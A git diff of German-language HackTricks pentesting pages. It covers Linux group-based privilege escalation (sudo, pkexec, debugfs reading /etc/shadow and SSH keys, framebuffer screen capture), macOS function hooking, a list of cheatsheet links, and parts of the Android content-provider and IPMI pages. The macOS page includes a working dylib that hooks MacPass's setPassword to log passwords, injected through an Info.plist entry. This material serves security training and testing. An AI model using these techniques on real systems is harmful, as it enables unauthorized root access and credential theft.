|
||||
|
||||
# Sudo/Admin Gruppen
|
||||
|
||||
## **PE - Methode 1**
|
||||
|
||||
**Manchmal**, **standardmäßig \(oder weil einige Software es benötigt\)** finden Sie in der **/etc/sudoers** Datei einige dieser Zeilen:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
|
||||
# Allow members of group admin to execute any command
|
||||
%admin ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Das bedeutet, dass **jeder Benutzer, der zur Gruppe sudo oder admin gehört, alles als sudo ausführen kann**.
|
||||
|
||||
Wenn dies der Fall ist, können Sie **einfach ausführen, um root zu werden**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
## PE - Methode 2
|
||||
|
||||
Finde alle SUID-Binärdateien und überprüfe, ob die Binärdatei **Pkexec** vorhanden ist:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
Wenn Sie feststellen, dass die Binärdatei pkexec eine SUID-Binärdatei ist und Sie zu sudo oder admin gehören, könnten Sie wahrscheinlich Binärdateien als sudo mit pkexec ausführen.
|
||||
Überprüfen Sie den Inhalt von:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Dort finden Sie, welche Gruppen berechtigt sind, **pkexec** auszuführen und **standardmäßig** können in einigen Linux-Systemen **einige der Gruppen sudo oder admin** **erscheinen**.
|
||||
|
||||
Um **root zu werden, können Sie** ausführen:
|
||||
```bash
|
||||
pkexec "/bin/sh" #You will be prompted for your user password
|
||||
```
|
||||
Wenn Sie versuchen, **pkexec** auszuführen und Sie diese **Fehlermeldung** erhalten:
|
||||
```bash
|
||||
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Es liegt nicht daran, dass Sie keine Berechtigungen haben, sondern daran, dass Sie ohne eine GUI nicht verbunden sind**. Und es gibt einen Workaround für dieses Problem hier: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Sie benötigen **2 verschiedene SSH-Sitzungen**:
|
||||
```bash:session1
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
#Step 5, if correctly authenticate, you will have a root session
|
||||
```
|
||||
|
||||
```bash:session2
|
||||
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
#Step 4, you will be asked in this session to authenticate to pkexec
|
||||
```
|
||||
# Wheel-Gruppe
|
||||
|
||||
**Manchmal** **findet man standardmäßig** in der **/etc/sudoers**-Datei diese Zeile:
|
||||
```text
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Das bedeutet, dass **jeder Benutzer, der zur Gruppe wheel gehört, alles als sudo ausführen kann**.
|
||||
|
||||
Wenn dies der Fall ist, um **root zu werden, können Sie einfach ausführen**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
# Shadow-Gruppe
|
||||
|
||||
Benutzer der **Gruppe shadow** können die **/etc/shadow**-Datei **lesen**:
|
||||
```text
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
So, lesen Sie die Datei und versuchen Sie, **einige Hashes zu knacken**.
|
||||
|
||||
# Disk Group
|
||||
|
||||
Dieses Privileg ist fast **äquivalent zu Root-Zugriff**, da Sie auf alle Daten innerhalb der Maschine zugreifen können.
|
||||
|
||||
Dateien: `/dev/sd[a-z][1-9]`
|
||||
```text
|
||||
debugfs /dev/sda1
|
||||
debugfs: cd /root
|
||||
debugfs: ls
|
||||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
Beachten Sie, dass Sie mit debugfs auch **Dateien schreiben** können. Um beispielsweise `/tmp/asd1.txt` nach `/tmp/asd2.txt` zu kopieren, können Sie Folgendes tun:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
```
|
||||
Wenn Sie jedoch versuchen, **Dateien, die dem Root-Benutzer gehören** \(wie `/etc/shadow` oder `/etc/passwd`\) zu **schreiben**, erhalten Sie einen "**Zugriff verweigert**" Fehler.
|
||||
|
||||
# Video Gruppe
|
||||
|
||||
Mit dem Befehl `w` können Sie **herausfinden, wer im System angemeldet ist** und es wird eine Ausgabe wie die folgende angezeigt:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
Die **tty1** bedeutet, dass der Benutzer **yossi physisch** an einem Terminal auf der Maschine angemeldet ist.
|
||||
|
||||
Die **Video-Gruppe** hat Zugriff auf die Anzeige der Bildschirmausgabe. Grundsätzlich können Sie die Bildschirme beobachten. Um dies zu tun, müssen Sie **das aktuelle Bild auf dem Bildschirm** in Rohdaten erfassen und die Auflösung ermitteln, die der Bildschirm verwendet. Die Bildschirmdaten können in `/dev/fb0` gespeichert werden, und Sie können die Auflösung dieses Bildschirms unter `/sys/class/graphics/fb0/virtual_size` finden.
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
Um das **raw image** zu **öffnen**, können Sie **GIMP** verwenden, die **`screen.raw`**-Datei auswählen und als Dateityp **Raw image data** auswählen:
|
||||
|
||||

|
||||
|
||||
Ändern Sie dann die Breite und Höhe auf die Werte, die auf dem Bildschirm verwendet werden, und überprüfen Sie verschiedene Bildtypen \(und wählen Sie denjenigen aus, der den Bildschirm am besten darstellt\):
|
||||
|
||||

|
||||
|
||||
# Root-Gruppe
|
||||
|
||||
Es scheint, dass **Mitglieder der Root-Gruppe** standardmäßig Zugriff auf die **Änderung** einiger **Service**-Konfigurationsdateien oder einiger **Bibliotheks**-Dateien oder **anderer interessanter Dinge** haben, die zur Eskalation von Rechten verwendet werden könnten...
|
||||
|
||||
**Überprüfen Sie, welche Dateien Root-Mitglieder ändern können**:
|
||||
```bash
|
||||
find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
# Docker-Gruppe
|
||||
|
||||
Sie können das Root-Dateisystem des Host-Systems in das Volume einer Instanz einhängen, sodass beim Start der Instanz sofort ein `chroot` in dieses Volume geladen wird. Dies gibt Ihnen effektiv Root-Zugriff auf die Maschine.
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
# lxc/lxd Gruppe
|
||||
|
||||
[lxc - Privilegieneskalation](lxd-privilege-escalation.md)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,338 +0,0 @@
|
||||
# macOS Function Hooking
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Funktionseinfügung
|
||||
|
||||
Erstellen Sie eine **dylib** mit einem **`__interpose`** Abschnitt (oder einem Abschnitt, der mit **`S_INTERPOSING`** gekennzeichnet ist), der Tupel von **Funktionszeigern** enthält, die auf die **ursprünglichen** und die **Ersatz**-Funktionen verweisen.
|
||||
|
||||
Dann **injektieren** Sie die dylib mit **`DYLD_INSERT_LIBRARIES`** (die Einfügung muss erfolgen, bevor die Hauptanwendung geladen wird). Offensichtlich gelten die [**Einschränkungen** für die Verwendung von **`DYLD_INSERT_LIBRARIES`** auch hier](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
|
||||
|
||||
### printf einfügen
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="interpose.c"}}
|
||||
```c:interpose.c
|
||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
int my_printf(const char *format, ...) {
|
||||
//va_list args;
|
||||
//va_start(args, format);
|
||||
//int ret = vprintf(format, args);
|
||||
//va_end(args);
|
||||
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
|
||||
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="hello.c"}}
|
||||
```c
|
||||
//gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
printf("Hello World!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="interpose2.c"}}
|
||||
```c
|
||||
// Just another way to define an interpose
|
||||
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#define DYLD_INTERPOSE(_replacement, _replacee) \
|
||||
__attribute__((used)) static struct { \
|
||||
const void* replacement; \
|
||||
const void* replacee; \
|
||||
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
|
||||
(const void*) (unsigned long) &_replacement, \
|
||||
(const void*) (unsigned long) &_replacee \
|
||||
};
|
||||
|
||||
int my_printf(const char *format, ...)
|
||||
{
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
DYLD_INTERPOSE(my_printf,printf);
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
|
||||
Hello from interpose
|
||||
|
||||
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
||||
Hello from interpose
|
||||
```
|
||||
## Method Swizzling
|
||||
|
||||
In ObjectiveC wird eine Methode so aufgerufen: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
|
||||
Es werden das **Objekt**, die **Methode** und die **Parameter** benötigt. Und wenn eine Methode aufgerufen wird, wird eine **Nachricht gesendet** mit der Funktion **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
Das Objekt ist **`someObject`**, die Methode ist **`@selector(method1p1:p2:)`** und die Argumente sind **value1**, **value2**.
|
||||
|
||||
Folgt man den Objektstrukturen, ist es möglich, auf ein **Array von Methoden** zuzugreifen, wo die **Namen** und **Zeiger** auf den Methodencode **lokalisiert** sind.
|
||||
|
||||
> [!CAUTION]
|
||||
> Beachten Sie, dass Methoden und Klassen basierend auf ihren Namen zugegriffen werden, diese Informationen werden im Binärformat gespeichert, sodass es möglich ist, sie mit `otool -ov </path/bin>` oder [`class-dump </path/bin>`](https://github.com/nygard/class-dump) abzurufen.
|
||||
|
||||
### Zugriff auf die rohen Methoden
|
||||
|
||||
Es ist möglich, auf die Informationen der Methoden wie Name, Anzahl der Parameter oder Adresse zuzugreifen, wie im folgenden Beispiel:
|
||||
```objectivec
|
||||
// gcc -framework Foundation test.m -o test
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
#import <objc/message.h>
|
||||
|
||||
int main() {
|
||||
// Get class of the variable
|
||||
NSString* str = @"This is an example";
|
||||
Class strClass = [str class];
|
||||
NSLog(@"str's Class name: %s", class_getName(strClass));
|
||||
|
||||
// Get parent class of a class
|
||||
Class strSuper = class_getSuperclass(strClass);
|
||||
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
||||
|
||||
// Get information about a method
|
||||
SEL sel = @selector(length);
|
||||
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
||||
Method m = class_getInstanceMethod(strClass,sel);
|
||||
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
||||
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
||||
|
||||
// Iterate through the class hierarchy
|
||||
NSLog(@"Listing methods:");
|
||||
Class currentClass = strClass;
|
||||
while (currentClass != NULL) {
|
||||
unsigned int inheritedMethodCount = 0;
|
||||
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
||||
|
||||
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
||||
|
||||
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
||||
Method method = inheritedMethods[i];
|
||||
SEL selector = method_getName(method);
|
||||
const char* methodName = sel_getName(selector);
|
||||
unsigned long address = (unsigned long)method_getImplementation(m);
|
||||
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
||||
}
|
||||
|
||||
// Free the memory allocated by class_copyMethodList
|
||||
free(inheritedMethods);
|
||||
currentClass = class_getSuperclass(currentClass);
|
||||
}
|
||||
|
||||
// Other ways to call uppercaseString method
|
||||
if([str respondsToSelector:@selector(uppercaseString)]) {
|
||||
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
||||
NSLog(@"Uppercase string: %@", uppercaseString);
|
||||
}
|
||||
|
||||
// Using objc_msgSend directly
|
||||
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
||||
NSLog(@"Uppercase string: %@", uppercaseString2);
|
||||
|
||||
// Calling the address directly
|
||||
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
||||
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
||||
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
||||
NSLog(@"Uppercase string: %@", uppercaseString3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Method Swizzling mit method_exchangeImplementations
|
||||
|
||||
Die Funktion **`method_exchangeImplementations`** ermöglicht es, die **Adresse** der **Implementierung** von **einer Funktion für die andere** zu **ändern**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Wenn eine Funktion aufgerufen wird, wird also **die andere ausgeführt**.
|
||||
```objectivec
|
||||
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
||||
|
||||
// Create a new category for NSString with the method to execute
|
||||
@interface NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||
|
||||
@end
|
||||
|
||||
@implementation NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original method
|
||||
return [self swizzledSubstringFromIndex:from];
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
// Perform method swizzling
|
||||
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
||||
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
||||
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||||
|
||||
// We changed the address of one method for the other
|
||||
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
|
||||
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> In diesem Fall könnte der **Implementierungscode der legitimen** Methode **überprüfen**, ob der **Methodenname** **erkannt** wird, und dieses Swizzling verhindern.
|
||||
>
|
||||
> Die folgende Technik hat diese Einschränkung nicht.
|
||||
|
||||
### Method Swizzling mit method_setImplementation
|
||||
|
||||
Das vorherige Format ist seltsam, da Sie die Implementierung von 2 Methoden gegeneinander ändern. Mit der Funktion **`method_setImplementation`** können Sie die **Implementierung** einer **Methode für die andere** **ändern**.
|
||||
|
||||
Denken Sie daran, die **Adresse der Implementierung der ursprünglichen** Methode zu **speichern**, wenn Sie sie aus der neuen Implementierung aufrufen möchten, bevor Sie sie überschreiben, da es später viel komplizierter sein wird, diese Adresse zu finden.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
#import <objc/message.h>
|
||||
|
||||
static IMP original_substringFromIndex = NULL;
|
||||
|
||||
@interface NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||
|
||||
@end
|
||||
|
||||
@implementation NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original implementation using objc_msgSendSuper
|
||||
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
// Get the class of the target method
|
||||
Class stringClass = [NSString class];
|
||||
|
||||
// Get the swizzled and original methods
|
||||
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
||||
|
||||
// Get the function pointer to the swizzled method's implementation
|
||||
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
||||
|
||||
// Swap the implementations
|
||||
// It return the now overwritten implementation of the original method to store it
|
||||
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
// Set the original implementation back
|
||||
method_setImplementation(originalMethod, original_substringFromIndex);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
```
|
||||
## Hooking-Angriffsmethodik
|
||||
|
||||
Auf dieser Seite wurden verschiedene Möglichkeiten zur Hooking von Funktionen diskutiert. Sie beinhalteten jedoch **das Ausführen von Code innerhalb des Prozesses, um anzugreifen**.
|
||||
|
||||
Um dies zu tun, ist die einfachste Technik, die verwendet werden kann, das Injizieren eines [Dyld über Umgebungsvariablen oder Hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Ich nehme jedoch an, dass dies auch über [Dylib-Prozessinjektion](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port) erfolgen könnte.
|
||||
|
||||
Beide Optionen sind jedoch **begrenzt** auf **unprotected** Binaries/Prozesse. Überprüfen Sie jede Technik, um mehr über die Einschränkungen zu erfahren.
|
||||
|
||||
Ein Hooking-Angriff ist jedoch sehr spezifisch; ein Angreifer wird dies tun, um **sensible Informationen aus einem Prozess zu stehlen** (ansonsten würden Sie einfach einen Prozessinjektionsangriff durchführen). Und diese sensiblen Informationen könnten in von Benutzern heruntergeladenen Apps wie MacPass gespeichert sein.
|
||||
|
||||
Der Angreifer-Vektor wäre also, entweder eine Schwachstelle zu finden oder die Signatur der Anwendung zu entfernen, die **`DYLD_INSERT_LIBRARIES`**-Umgebungsvariable über die Info.plist der Anwendung einzufügen und etwas hinzuzufügen wie:
|
||||
```xml
|
||||
<key>LSEnvironment</key>
|
||||
<dict>
|
||||
<key>DYLD_INSERT_LIBRARIES</key>
|
||||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||
</dict>
|
||||
```
|
||||
und dann **erneut registrieren** Sie die Anwendung:
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
||||
```
|
||||
Fügen Sie in dieser Bibliothek den Hooking-Code hinzu, um die Informationen zu exfiltrieren: Passwörter, Nachrichten...
|
||||
|
||||
> [!CAUTION]
|
||||
> Beachten Sie, dass in neueren Versionen von macOS, wenn Sie die **Signatur** der Anwendungsbinärdatei entfernen und sie zuvor ausgeführt wurde, macOS die Anwendung **nicht mehr ausführen wird**.
|
||||
|
||||
#### Bibliotheksbeispiel
|
||||
```objectivec
|
||||
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
|
||||
|
||||
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
|
||||
|
||||
// Listen to the logs with something like:
|
||||
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
|
||||
|
||||
#include <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
||||
// Here will be stored the real method (setPassword in this case) address
|
||||
static IMP real_setPassword = NULL;
|
||||
|
||||
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
|
||||
{
|
||||
// Function that will log the password and call the original setPassword(pass, file_path) method
|
||||
NSLog(@"[+] Password is: %@", password);
|
||||
|
||||
// After logging the password call the original method so nothing breaks.
|
||||
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
|
||||
}
|
||||
|
||||
// Library constructor to execute
|
||||
__attribute__((constructor))
|
||||
static void customConstructor(int argc, const char **argv) {
|
||||
// Get the real method address to not lose it
|
||||
Class classMPDocument = NSClassFromString(@"MPDocument");
|
||||
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
|
||||
|
||||
// Make the original method setPassword call the fake implementation one
|
||||
IMP fake_IMP = (IMP)custom_setPassword;
|
||||
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
||||
}
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,95 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,12 +1,10 @@
|
||||
# Ausnutzen von Content Providern
|
||||
|
||||
## Ausnutzen von Content Providern
|
||||
# Exploiting Content Providers
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Einführung
|
||||
## Intro
|
||||
|
||||
Daten werden **auf Anfrage von einer Anwendung an andere bereitgestellt** durch eine Komponente, die als **Content Provider** bekannt ist. Diese Anfragen werden durch die Methoden der **ContentResolver-Klasse** verwaltet. Content Provider können ihre Daten an verschiedenen Orten speichern, wie z.B. in einer **Datenbank**, **Dateien** oder über ein **Netzwerk**.
|
||||
Daten werden **auf Anfrage von einer Anwendung an andere** von einer Komponente bereitgestellt, die als **Content Provider** bekannt ist. Diese Anfragen werden über die Methoden der **ContentResolver-Klasse** verwaltet. Content Provider können ihre Daten an verschiedenen Orten speichern, wie z.B. in einer **Datenbank**, **Dateien** oder über ein **Netzwerk**.
|
||||
|
||||
Im _Manifest.xml_-Datei ist die Deklaration des Content Providers erforderlich. Zum Beispiel:
|
||||
```xml
|
||||
@ -40,9 +38,9 @@ Content Provider: com.mwr.example.sieve.FileBackupProvider
|
||||
Multiprocess Allowed: True
|
||||
Grant Uri Permissions: False
|
||||
```
|
||||
Es ist möglich, zusammenzustellen, wie man den **DBContentProvider** erreicht, indem man URIs mit „_content://_“ beginnt. Dieser Ansatz basiert auf Erkenntnissen, die durch die Verwendung von Drozer gewonnen wurden, wo wichtige Informationen im _/Keys_ Verzeichnis zu finden waren.
|
||||
Es ist möglich, zusammenzustellen, wie man den **DBContentProvider** erreicht, indem man URIs mit “_content://_” beginnt. Dieser Ansatz basiert auf Erkenntnissen, die durch die Verwendung von Drozer gewonnen wurden, wo wichtige Informationen im _/Keys_ Verzeichnis zu finden waren.
|
||||
|
||||
Drozer kann **mehrere URIs erraten und ausprobieren**:
|
||||
Drozer kann **verschiedene URIs erraten und ausprobieren**:
|
||||
```
|
||||
dz> run scanner.provider.finduris -a com.mwr.example.sieve
|
||||
Scanning com.mwr.example.sieve...
|
||||
@ -66,10 +64,10 @@ Die Abfrage wird wie folgt aussehen: `content://name.of.package.class/declared_n
|
||||
|
||||
## **Datenbankgestützte Content Provider**
|
||||
|
||||
Wahrscheinlich werden die meisten Content Provider als **Schnittstelle** für eine **Datenbank** verwendet. Daher, wenn Sie darauf zugreifen können, könnten Sie in der Lage sein, **Informationen zu extrahieren, zu aktualisieren, einzufügen und zu löschen**.\
|
||||
Überprüfen Sie, ob Sie **auf sensible Informationen zugreifen** können oder versuchen Sie, diese zu ändern, um **Autorisierungs**mechanismen zu umgehen.
|
||||
Wahrscheinlich werden die meisten Content Provider als **Schnittstelle** für eine **Datenbank** verwendet. Daher, wenn Sie darauf zugreifen können, könnten Sie in der Lage sein, Informationen zu **extrahieren, zu aktualisieren, einzufügen und zu löschen**.\
|
||||
Überprüfen Sie, ob Sie **auf sensible Informationen zugreifen** können oder versuchen Sie, diese zu ändern, um **Autorisierungs**mechanismen zu **umgehen**.
|
||||
|
||||
Beim Überprüfen des Codes des Content Providers **sollten** Sie auch nach **Funktionen** suchen, die wie folgt benannt sind: _query, insert, update und delete_:
|
||||
Beim Überprüfen des Codes des Content Providers **suchen** Sie auch nach **Funktionen**, die wie folgt benannt sind: _query, insert, update und delete_:
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -1,10 +1,7 @@
|
||||
# 623/UDP/TCP - IPMI
|
||||
|
||||
## 623/UDP/TCP - IPMI
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
### **Überblick über IPMI**
|
||||
@ -12,12 +9,12 @@
|
||||
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** bietet einen standardisierten Ansatz für das Remote-Management und die Überwachung von Computersystemen, unabhängig vom Betriebssystem oder dem Stromzustand. Diese Technologie ermöglicht es Systemadministratoren, Systeme aus der Ferne zu verwalten, selbst wenn sie ausgeschaltet oder nicht ansprechbar sind, und ist besonders nützlich für:
|
||||
|
||||
- Pre-OS-Boot-Konfigurationen
|
||||
- Management des Stromausfalls
|
||||
- Verwaltung des Stromausfalls
|
||||
- Wiederherstellung von Systemfehlern
|
||||
|
||||
IPMI ist in der Lage, Temperaturen, Spannungen, Lüftergeschwindigkeiten und Stromversorgungen zu überwachen, sowie Inventarinformationen bereitzustellen, Hardwareprotokolle zu überprüfen und Warnungen über SNMP zu senden. Für den Betrieb sind eine Stromquelle und eine LAN-Verbindung erforderlich.
|
||||
|
||||
Seit seiner Einführung durch Intel im Jahr 1998 wird IPMI von zahlreichen Anbietern unterstützt, was die Remote-Management-Funktionen verbessert, insbesondere mit der Unterstützung von Version 2.0 für serielle Verbindungen über LAN. Zu den Hauptkomponenten gehören:
|
||||
